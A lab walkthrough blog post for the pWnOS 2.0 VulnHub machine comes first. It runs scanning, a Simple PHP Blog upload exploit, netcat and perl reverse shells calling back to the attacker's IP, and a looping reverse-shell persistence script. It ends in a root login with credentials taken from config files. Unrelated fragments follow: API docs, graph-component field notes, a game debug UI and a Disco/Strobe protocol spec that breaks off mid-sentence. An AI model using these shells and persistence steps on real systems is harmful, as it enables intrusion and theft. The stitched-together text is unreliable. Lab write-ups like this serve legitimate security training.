---
layout: post
title: "pWnOS: 2.0 (Pre-Release)"
date: 2019-04-15 00:34:01 +0000
author: Larry Brown
category: Walkthroughs
tags: [vulnhub, phpinfo, simple php blog]
---
Hostname: web
IP Address: <IP_ADDRESS> (static)
Information Gathering/Recon
The IP address is set statically to <IP_ADDRESS>. I had to add an IP address to my attacking machine (Kali VM) to be able to reach it.
ip address add <IP_ADDRESS>/24 dev eth0
And on my Mac...
sudo ifconfig en0 alias <IP_ADDRESS>/24 up
Service Enumeration/Scanning
root@kali:~/Walkthroughs/pwnosv2# nmap -Pn -sT -sV -sC -A -oA pwnosv2 -p 1-65535 <IP_ADDRESS>
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-25 15:38 EDT
Nmap scan report for <IP_ADDRESS>
Host is up (0.0029s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh
OpenSSH 5.8p1
Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 85:d3:2b:01:09:42:7b:20:4e:30:03:6d:d1:8f:95:ff (DSA)
| 2048 30:7a:31:9a:1b:b8:17:e7:15:df:89:92:0e:cd:58:28 (RSA)
|_ 256 10:12:64:4b:7d:ff:6a:87:37:26:38:b1:44:9f:cf:5e (ECDSA)
80/tcp open http
Apache httpd 2.2.17
((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.2.17 (Ubuntu)
|_http-title: Welcome to this Site!
MAC Address: 00:50:56:21:18:BC (VMware)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=4/25%OT=22%CT=1%CU=33297%PV=Y%DS=1%DC=D%G=Y%M=005056%T
OS:M=5CC20CDB%P=x86_64-pc-linux-gnu)SEQ(SP=C7%GCD=1%ISR=CF%TI=Z%CI=Z%II=I%T
OS:S=7)OPS(O1=M5B4ST11NW5%O2=M5B4ST11NW5%O3=M5B4NNT11NW5%O4=M5B4ST11NW5%O5=
OS:M5B4ST11NW5%O6=M5B4ST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6=3
OS:890)ECN(R=Y%DF=Y%T=40%W=3908%O=M5B4NNSNW5%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=40%CD=S)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 2.91 ms <IP_ADDRESS>
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.86 seconds
Gaining Access
The server only has two open ports, so we'll start with the HTTP service on TCP port 80. Before actually browsing to it, we'll scan it with nikto.
root@kali:~/Walkthroughs/pwnosv2# nikto -h http://<IP_ADDRESS>
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: <IP_ADDRESS>
+ Target Hostname: <IP_ADDRESS>
+ Target Port: 80
+ Start Time: 2019-04-25 15:41:48 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.17 (Ubuntu)
+ Retrieved x-powered-by header: PHP/5.3.5-1ubuntu7
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ Apache/2.2.17 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.php
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3268: /includes/: Directory indexing found.
+ OSVDB-3092: /includes/: This might be interesting...
+ /info/: Output from the phpinfo() function was found.
+ OSVDB-3092: /info/: This might be interesting...
+ OSVDB-3092: /login/: This might be interesting...
+ OSVDB-3092: /register/: This might be interesting...
+ /info.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ OSVDB-3268: /icons/: Directory indexing found.
+ Server may leak inodes via ETags, header found with file /icons/README, inode: 1311031, size: 5108, mtime: Tue Aug 28 06:48:10 2007
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-5292: /info.php?file=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ /login.php: Admin login page/section found.
+ 8673 requests: 0 error(s) and 26 item(s) reported on remote host
+ End Time: 2019-04-25 15:42:41 (GMT-4) (53 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Nikto found some additional software versions as well as lots of indications of a poorly configured web server. Initial scans have revealed the following software in use.
-
Apache/2.2.17 - a potential Integer Overflow issue
-
PHP/5.3.5-1ubuntu7 - mostly DoS issues
-
OpenSSH 5.8p1 - potential command execution (sftp), username enumeration
No homeruns with the software we know about so far. Let's start digging into some of the web content we know is out there.
The site claims to be an "internal website" for IsIntS.
There are links to...
The /info.php page returns phpinfo() data including typical 'uname -a' output.
Checking out the /includes directory nikto told us about, we see this in the footer.html page.
Good to know what qualifies a user as an "administrator".
Before going forward with looking into sql injection issues with the login and registration forms, I'm going to run dirb to make sure there aren't any other directories that might contain helpful information.
root@kali:~/Walkthroughs/pwnosv2# dirb http://<IP_ADDRESS> /usr/share/dirb/wordlists/big.txt -o dirb-http-<IP_ADDRESS>.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
OUTPUT_FILE: dirb-http-<IP_ADDRESS>.txt
START_TIME: Thu Apr 25 16:19:19 2019
URL_BASE: http://<IP_ADDRESS>/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
-----------------
GENERATED WORDS: 20458
---- Scanning URL: http://<IP_ADDRESS>/ ----
+ http://<IP_ADDRESS>/activate (CODE:302|SIZE:0)
==> DIRECTORY: http://<IP_ADDRESS>/blog/
+ http://<IP_ADDRESS>/cgi-bin/ (CODE:403|SIZE:288)
==> DIRECTORY: http://<IP_ADDRESS>/includes/
+ http://<IP_ADDRESS>/index (CODE:200|SIZE:854)
+ http://<IP_ADDRESS>/info (CODE:200|SIZE:50175)
+ http://<IP_ADDRESS>/login (CODE:200|SIZE:1174)
+ http://<IP_ADDRESS>/register (CODE:200|SIZE:1562)
+ http://<IP_ADDRESS>/server-status (CODE:403|SIZE:293)
---- Entering directory: http://<IP_ADDRESS>/blog/ ----
+ http://<IP_ADDRESS>/blog/add (CODE:302|SIZE:0)
+ http://<IP_ADDRESS>/blog/atom (CODE:200|SIZE:1062)
+ http://<IP_ADDRESS>/blog/categories (CODE:302|SIZE:0)
+ http://<IP_ADDRESS>/blog/colors (CODE:302|SIZE:0)
+ http://<IP_ADDRESS>/blog/comments (CODE:302|SIZE:0)
==> DIRECTORY: http://<IP_ADDRESS>/blog/config/
+ http://<IP_ADDRESS>/blog/contact (CODE:200|SIZE:5886)
==> DIRECTORY: http://<IP_ADDRESS>/blog/content/
+ http://<IP_ADDRESS>/blog/delete (CODE:302|SIZE:0)
==> DIRECTORY: http://<IP_ADDRESS>/blog/docs/
==> DIRECTORY: http://<IP_ADDRESS>/blog/flash/
==> DIRECTORY: http://<IP_ADDRESS>/blog/images/
+ http://<IP_ADDRESS>/blog/index (CODE:200|SIZE:8094)
+ http://<IP_ADDRESS>/blog/info (CODE:302|SIZE:0)
==> DIRECTORY: http://<IP_ADDRESS>/blog/interface/
==> DIRECTORY: http://<IP_ADDRESS>/blog/languages/
+ http://<IP_ADDRESS>/blog/login (CODE:200|SIZE:5635)
+ http://<IP_ADDRESS>/blog/logout (CODE:302|SIZE:0)
+ http://<IP_ADDRESS>/blog/options (CODE:302|SIZE:0)
+ http://<IP_ADDRESS>/blog/rdf (CODE:200|SIZE:1411)
+ http://<IP_ADDRESS>/blog/rss (CODE:200|SIZE:1237)
==> DIRECTORY: http://<IP_ADDRESS>/blog/scripts/
+ http://<IP_ADDRESS>/blog/search (CODE:200|SIZE:4919)
+ http://<IP_ADDRESS>/blog/setup (CODE:302|SIZE:0)
+ http://<IP_ADDRESS>/blog/static (CODE:302|SIZE:0)
+ http://<IP_ADDRESS>/blog/stats (CODE:200|SIZE:5277)
==> DIRECTORY: http://<IP_ADDRESS>/blog/themes/
+ http://<IP_ADDRESS>/blog/trackback (CODE:302|SIZE:0)
+ http://<IP_ADDRESS>/blog/upgrade (CODE:302|SIZE:0)
+ http://<IP_ADDRESS>/blog/upload_img (CODE:302|SIZE:0)
---- Entering directory: http://<IP_ADDRESS>/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://<IP_ADDRESS>/blog/config/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://<IP_ADDRESS>/blog/content/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://<IP_ADDRESS>/blog/docs/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://<IP_ADDRESS>/blog/flash/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://<IP_ADDRESS>/blog/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://<IP_ADDRESS>/blog/interface/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://<IP_ADDRESS>/blog/languages/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://<IP_ADDRESS>/blog/scripts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://<IP_ADDRESS>/blog/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Thu Apr 25 16:22:57 2019
DOWNLOADED: 40916 - FOUND: 28
Checking out the /blog found by dirb, we see from the links in the bottom right menu that it is using Simple PHP Blog 0.4.0.
This version of Simple PHP Blog has known vulnerabilities (including a Metasploit module).
Simple PHP Blog 0.4.0 - Multiple Remote s | exploits/php/webapps/1191.pl
Simple PHP Blog 0.4.0 - Remote Command Execution (Metasploit) | exploits/php/webapps/16883.rb
Using the 1191.pl exploit proof-of-concept, we chose option 1, "Upload cmd.php in [site]/images/".
root@kali:~/Walkthroughs/pwnosv2# perl 1191.pl -h http://<IP_ADDRESS>/blog -e 1
________________________________________________________________________________
SimplePHPBlog v0.4.0 Exploits
by
Kenneth F. Belva, CISSP
http://www.ftusecurity.com
________________________________________________________________________________
Running cmd.php Upload Exploit....
Retrieved Username and Password Hash: $1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/
Deleted File: ./config/password.txt
./config/password.txt created!
Username is set to: a
Password is set to: a
Logged into SimplePHPBlog at: http://<IP_ADDRESS>/blog/login_cgi.php
Current Username 'a' and Password 'a'...
Created cmd.php on your local machine.
Created reset.php on your local machine.
Created cmd.php on target host: http://<IP_ADDRESS>/blog
Created reset.php on target host: http://<IP_ADDRESS>/blog
Removed cmd.php from your local machine.
Failed to POST 'http://<IP_ADDRESS>/blog/images/reset.php': 500 Internal Server Error at 1191.pl line 418.
Removed reset.php from your local machine.
We got an error, but when we checked the /blog/images directory, we had a cmd.php file. We confirmed the file would accept a cmd parameter and run it locally. We then started our Metasploit listener...
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:5432
Many times the netcat command doesn't allow the -e option, we will send the following command (URL encoded).
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP_ADDRESS> 5432 >/tmp/f
Which looks like this...
When running our command, we got a session! 😄
msf5 exploit(multi/handler) > [*] Command shell session 1 opened (<IP_ADDRESS>:5432 -> <IP_ADDRESS>:35627) at 2019-04-25 16:50:13 -0400
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
$ pwd
/var/www/blog/images
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Right after we connected, we went ahead and started a second listener and spawned a second shell using the following perl command.
perl -e 'use Socket;$i="<IP_ADDRESS>";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Maintaining Access
Since the host has an SSH service available, we want to check and see if we can set up SSH keys and login via SSH.
$ grep `whoami` /etc/passwd
www-data:x:33:33:www-data:/var/www:/bin/sh
Our user has a shell defined... but we don't have permissions to write to our home directory (/var/www).
drwxr-xr-x 4 root root 4096 May 9 2011 www
We won't be able to set up SSH keys for this account, so I decided to create a simple shell script that will try to connect back to my attacking machine every 5 minutes and use python's SimpleHTTPServer to serve it up to the victim.
root@kali:~/Walkthroughs/pwnosv2# cat thumbs
#!/bin/sh
while true; do
perl -e 'use Socket;$i="<IP_ADDRESS>";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# sleep for 300 seconds (5 mins)
sleep 300
done
root@kali:~/Walkthroughs/pwnosv2# python -m SimpleHTTPServer 4321 Serving HTTP on <IP_ADDRESS> port 4321 ...
<IP_ADDRESS> - - [25/Apr/2019 17:05:49] "GET /thumbs HTTP/1.0" 200 -
I downloaded the script to the victim's /var/www/blog/images directory and ran it in the background. Now, if I get disconnected, I should be able to restart a listener and get back in within 5 minutes.
$ wget -O thumbs <IP_ADDRESS>:4321/thumbs
--2019-03-01 00:20:54-- http://<IP_ADDRESS>:4321/thumbs
Connecting to <IP_ADDRESS>:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 307 [application/octet-stream]
Saving to: `thumbs'
0K 100% 26.1M=0s
2019-03-01 00:20:54 (26.1 MB/s) - `thumbs' saved [307/307]
$ chmod +x thumbs
$ ./thumbs &
Privilege Escalation
Well, getting on to the box was easy enough. Let's see what it's going to take to get root.
We already know the kernel information from the /info.php file.
www-data@web:/var$ uname -a
Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
We also check /etc/issue and /etc/issue.net for the additional info.
www-data@web:/etc$ cat issue*
Ubuntu 11.04 \n \l
Ubuntu 11.04
Checking the exploit database, we having the following potential vulnerability for our version of Ubuntu.
FTP Client (Ubuntu 11.04) - Local Buffer Overflow Crash (PoC) | exploits/linux/dos/17806.txt
This is classified as DoS, so we'll keep looking for a better path to root.
We don't have any sudo commands available. We don't have any writable executables in our path. We don't have any good SUID executables in our path.
Dropping back to /var/www, we are able to get database credentials for the "internal website" config file.
www-data@web:/var/www$ cat mysqli_connect.php
<?php # Script 8.2 - mysqli_connect.php
// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.
// Set the database access information as constants:
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'goodday');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');
// Make the connection:
$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );
?>
Dropping back another directory, we see another mysqli_connect.php file with different credentials.
www-data@web:/var$ cat mysqli_connect.php
<?php # Script 8.2 - mysqli_connect.php
// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.
// Set the database access information as constants:
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');
// Make the connection:
$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );
?>
Turns out the second file has the correct MySQL credentials for root (root@ISIntS).
Connecting to the database, we only see one non-system database with one table containing one user (dan).
www-data@web:/$ mysql -u root -p
mysql -u root -p
Enter password: root@ISIntS
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 39
Server version: 5.1.54-1ubuntu4 (Ubuntu)
Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved.
This software comes with ABSOLUTELY NO WARRANTY. This is free software,
and you are welcome to modify and redistribute it under the GPL v2 license
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| ch16 |
| mysql |
+--------------------+
3 rows in set (0.00 sec)
mysql> use ch16;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+----------------+
| Tables_in_ch16 |
+----------------+
| users |
+----------------+
1 row in set (0.00 sec)
mysql> select * from users;
+---------+------------+-----------+------------------+------------------------------------------+------------+--------+---------------------+
| user_id | first_name | last_name | email | pass | user_level | active | registration_date |
+---------+------------+-----------+------------------+------------------------------------------+------------+--------+---------------------+
| 1 | Dan | Privett |
<EMAIL_ADDRESS>| c2c4b4e51d9e23c02c15702c136c3e950ba9a4af | 0 | NULL | 2011-05-07 17:27:01 |
+---------+------------+-----------+------------------+------------------------------------------+------------+--------+---------------------+
1 row in set (0.03 sec)
We see that dan is a user in /etc/passwd...
www-data@web:/$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:0:0:MySQL Server,,,:/root:/bin/bash
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
landscape:x:104:110::/var/lib/landscape:/bin/false
dan:x:1000:1000:Dan Privett,,,:/home/dan:/bin/bash
...so I decide to try to SSH to the server using the same credentials.
root@kali:~/Walkthroughs/pwnosv2# ssh<EMAIL_ADDRESS><EMAIL_ADDRESS>password:
Permission denied, please try again.
<EMAIL_ADDRESS>password:
Permission denied, please try again.
I also tried the MySQL root credentials (root@ISIntS), but they didn't work either. Next, I tried to use the same two credentials to connect as root...
root@kali:~/Walkthroughs/pwnosv2# ssh<EMAIL_ADDRESS><EMAIL_ADDRESS>password:
Permission denied, please try again.
<EMAIL_ADDRESS>password:
Welcome to Ubuntu 11.04 (GNU/Linux 2.6.38-8-server x86_64)
* Documentation: http://www.ubuntu.com/server/doc
System information as of Fri Mar 1 02:07:22 EST 2019
System load: 0.0 Processes: 85
Usage of /: 2.9% of 38.64GB Users logged in: 1
Memory usage: 21% IP address for eth0: <IP_ADDRESS>
Swap usage: 0%
Graph this data and manage this system at https://landscape.canonical.com/
Last login: Fri Mar 1 02:01:31 2019 from <IP_ADDRESS>
root@web:~# id
uid=0(root) gid=0(root) groups=0(root)
Nice! The 'killerbeesareflying' password didn't work, but the 'root@ISIntS' did. 😄
Pivoting
N/A
Clean Up
*** STOP /var/www/blog/images/thumbs ***
*** REMOVE thumbs, cmd.php and reset.php from /var/www/blog/images/ ***
Additional Info
Removing secondary IP from Mac
I was able to remove the secondary IP address from my Mac using the following command.
sudo ifconfig en0 alias <IP_ADDRESS>/24 delete


interface LinksCallback
Callback used by the calling user to get the result from successfully gathering link information |
|
interface TitlesCallback
Callback used by the calling user to get the result from successfully retrieving the titles from the provided urls |


The best segment color to use for coloring graph segments that achieved a new best segment time.
The background color to use for the bottom region of the graph. The top region begins at the y coordinate of the middle.
The color of the polygon connecting all the graph's points.
The color of the lines connecting all the graph's points.
The color of the grid lines on the graph.
The height of the graph.
Contains the y coordinates of all the horizontal grid lines.
Describes whether the graph is flipped vertically. For visualizing the graph, this usually doesn't need to be interpreted, as this information is entirely encoded into the other variables.
If the live delta is active, the last point is to be interpreted as a preview of the next split that is about to happen. Use the partial fill color to visualize the region beneath that graph segment.
The y coordinate that separates the region that shows the times that are ahead of the comparison and those that are behind.
The color of the polygon connecting all the graph's points. The partial fill color is only used for live changes.
All of the graph's points. Connect all of them to visualize the graph. If the live delta is active, the last point is to be interpreted as a preview of the next split that is about to happen. Use the partial fill color to visualize the region beneath that graph segment.
The background color to use for the top region of the graph. The top region ends at the y coordinate of the middle.
Contains the x coordinates of all the vertical grid lines.
Generated using TypeDoc
The state object describes the information to visualize for this component. All the coordinates are in the range 0..1.


Game List
DevTools
Refresh
New Game
Close Connection
Not logged in.
reasgt
Login
Logout
Send GameAction
{"user":"a", "game":0, "action":2, "args":["False"]}
Send Custom Action
Game State (JSON)


StrobeState
objectThis specification is extending Noise revision 34[1] and Strobe v1.0.2[2]. It relies for the most part on Noise's specification, heavily modifying some of its foundations to rely on Strobe as an opaque cryptographic primitive.
Major changes between versions of Disco are listed at the end of this document.
Noise[1] is a framework for crypto protocols based on the Diffie-Hellman key agreement. One of Noise's property is to authenticate the protocol transcript by continuously hashing messages being sent and received, as well as continuously deriving new keys based on the output of key exchanges and previously derived keys. This interesting property stops at the end of the handshake.
Strobe[2] is a protocol framework based on a duplex construction[3]. It naturally benefits from similar property, effectively absorbing every operation to influence the next ones. The Strobe specification is comparable in aspect to Noise, but focuses only on the symmetric parts of a protocol. By merging both protocol frameworks into one, Disco achieves the following goals:
To implement the Disco extension, a Strobe implementation respecting the functions of the section 3 of this document is required. None of the cipher and hash functions of Noise are required. Furthermore, the CipherState is not necessary while the SymmetricState has been simplified by Strobe calls. When implementing Noise with the Disco extension, simply ignore the CipherState section of Noise and implement the SymmetricState described in section 5 of this document. For PSK handshakes see section 6 and for advanced features, refer to section 7.
Note that like the Noise protocol framework, additional layers might need to be added on top of Disco for it to be usable (for example a framing layer to indicate the messages' lengths). For more information see Noise's section 13 on application responsabilities.
The name of a Noise protocol extended with Disco follows the same convention, but replaces the symmetric cryptographic algorithms by the version of Strobe used:
Noise_[PATTERN]_[KEYEXCHANGE]_STROBEvX.Y.Z
For example, with the current version of Strobe[2] being STROBEv1.0.2:
Noise_XX_25519_STROBEv1.0.2
StrobeState
objectA StrobeState
depends on a Strobe object (as defined in section 5 of the Strobe Specification) as well as the following associated constant:
StrobeR
: The blocksize of the Strobe state (computed as N - (2*sec)/8 - 2
, see section 4 of the Strobe specification).While a Strobe object responds to many functions (see Strobe's specification[4]), only the following ones need to be implemented in order for the Disco extension to work properly:
InitializeStrobe(protocol_name)
: Initialize the Strobe object with a custom protocol name.
KEY(key)
: Permutes the Strobe's state and replaces the new state with the key.
PRF(output_len)
: Permutes the Strobe's state and removes output_len
bytes from the new state. Outputs the removed bytes to the caller.
send_ENC(plaintext)
: Permutes the Strobe's state and XOR the plaintext with the new state to encrypt it. The new state is replaced by the resulting ciphertext, while the resulting ciphertext is output to the caller.
recv_ENC(ciphertext)
: Permutes the Strobe's state and XOR the ciphertext with the new state to decrypt it. The new state is replaced by the ciphertext, while the resulting plaintext is output to the caller.
AD(additionalData)
: Absorbs the additional data in the Strobe's state.
send_MAC(output_length)
: Permutes the Strobe's state and retrieves the next output_length
bytes from the new state.
recv_MAC(tag)
: Permutes the Strobe's state and compare (in constant-time) the received tag with the next 16 bytes from the new state.
RATCHET(length)
: Permutes the Strobe's state and set the next length
bytes from the new state to zero.
The following meta functions:
meta_AD(additionalData)
: XOR the additional data in the Strobe's state.
The following function which is not specified in Strobe:
Clone()
: Returns a copy of the Strobe state.
Processing the final handshake message via WriteMessage()
and ReadMessage()
now returns two new StrobeState
objects by calling Split()
. The first for encrypting transport messages from initiator to responder, and the second for messages in the other direction. At this point the StrobeState
of the SymmetricState
should not be deleted as it is the first StrobeState
object returned by Split()
(and will be used by the initiator to encrypt messages).
The peers can then encrypt (resp. decrypt) messages by calling send_ENC
followed by send_MAC
(resp. recv_ENC
followed by recv_MAC
) on the relevant StrobeState
object.
A SymmetricState object contains:
StrobeState
: a Strobe state responding to the functions mentioned in the previous section.isKeyed
: a boolean value indicating if a Diffie-Hellman key exchange has already occurred.A SymmetricState responds to the following functions:
InitializeSymmetric(protocol_name)
: Calls InitializeStrobe(protocol_name)
on the Strobe state.
MixKey(input_key_material)
: Calls AD(input_key_material)
on the Strobe state. It then sets isKeyed
to true
.
MixHash(data)
: Calls AD(data)
on the Strobe state.
MixKeyAndHash(input_key_material)
: Calls AD(input_key_material)
on the Strobe state.
GetHandshakeHash()
: Calls PRF(32)
. This function should only be called at the end of a handshake, i.e. after the Split() function has been called. This function is used for channel binding, as described in Section 11.2 of the Noise specification.
EncryptAndHash(plaintext)
: Returns a ready to be sent payload to the caller by following these steps:
isKeyed
is set to false
, call send_CLR(plaintext)
and return the plaintext
.send_ENC(plaintext)
followed by send_MAC(16)
on the Strobe state. Return the contatenation of both results to the caller.DecryptAndHash(ciphertext)
: Returns the received payload by following steps:
isKeyed
is set to false
, call recv_CLR(ciphertext)
and return the ciphertext
.ciphertext
is at least 16 bytes. If it is not, return an error to the caller and abort the handshake.recv_ENC(ciphertext[:-16])
and store the result in a plaintext
buffer.recv_MAC(ciphertext[-16:])
on the Strobe state. If recv_MAC
returns false
, the peer must return an error to the caller and abort the connection. Otherwise return the plaintext
buffer.Split()
: Returns a pair of Strobe states for encrypting transport messages by executing the following steps:
s1
be the Strobe state and s2
the result returned by Clone()
.meta_AD("initiator")
on s1
and meta_AD("responder")
on s2
.RATCHET(16)
on s1
and on s2
. (s1, s2)
.For PSK handshakes, the "e
" token does not need to call MixKey(e.public_key)
. Hence, no further modifications to the Symmetric State functions are needed for such handshakes.
Right before calling Split()
, a binding value could be obtained from the StrobeState by calling PRF()
.
To enable this, Strobe supports a RATCHET()
function.
In order to build out-of-order protocols out of Disco, the Split()
function must return nonce-based objects. For this, the Split()
function is modified in the next section to return a pair of DiscoSecureChannel
objects which are defined in the section following it.
Transport messages are then encrypted and decrypted by calling Encrypt()
and Decrypt()
on the relevant DiscoSecureChannel
.
Split()
functionModify the Split()
function to add the following steps before returning the pair (s1, s2)
of Strobe
objects:
meta_RATCHET(0)
on both s1
and s2
.CipherState
named c1
and c2
.s1
(resp. s2
) to c1
(resp. c2
).n
of c1
and c2
to zero.(c1, c2)
.CipherState
objectA CipherState
can encrypt and decrypt data based on its associated StrobeState
object as well as the following variable:
n
: An 8-byte (64-bit) unsigned integer nonce.A CipherState
responds to the following functions:
EncryptWithAd(ad, plaintext)
:
n
is equal to 264-1 the function returns an error to the caller and aborts the Disco session.StrobeState
by calling Clone()
on the StrobeState
object.AD(n)
on the new StrobeState
.send_ENC(plaintext)
on the new StrobeState
and add the result to a ciphertext
buffer.send_MAC(16)
on the new StrobeState
and add the result to the ciphertext
buffer.n
and discard the new StrobeState
object.ciphertext
buffer containing the encrypted data.DecryptWithAd(ad, ciphertext):
:
ciphertext
